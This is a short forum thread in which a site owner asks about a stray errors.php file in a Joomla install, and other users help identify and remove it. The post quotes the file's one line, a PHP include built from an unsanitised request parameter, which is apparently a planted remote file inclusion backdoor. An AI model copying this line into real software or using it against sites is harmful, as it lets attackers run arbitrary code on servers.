Errors.php? Whats that?

[FockerFGAA]

I have been told multiple times by our server host that error.php has caused high server load and this time they said it was running remotely exploitable scripts. Now here is what errors.php says:

PHP Code:

<?include($_REQUEST["error"] . "/errors.php");?>

I have no idea really what would be using that and how that is remotely exploitable, but I figured some of you smarter guys would know.

[kermit2]

I've never heard of errors.php - it's certainly not in my version of vbulletin. That include statement looks very dodgy too. If $_REQUEST isn't being sanitized you've got the potential for a remote file inclusion attack. I'd get rid of that file straight away (or at least rename it or comment that line out)

[SEOvB]

Errors.php isn't part of vBulletin, make sure its not part of Joomla if its to the site in your signature.

[FockerFGAA]

ya this had nothing to do with vbulletin. it was in the joomla area, but when i downloaded newer versions of joomla and checked their files there was no errors.php. i removed the file and the site seems to be running normally. i just had no idea where it came from.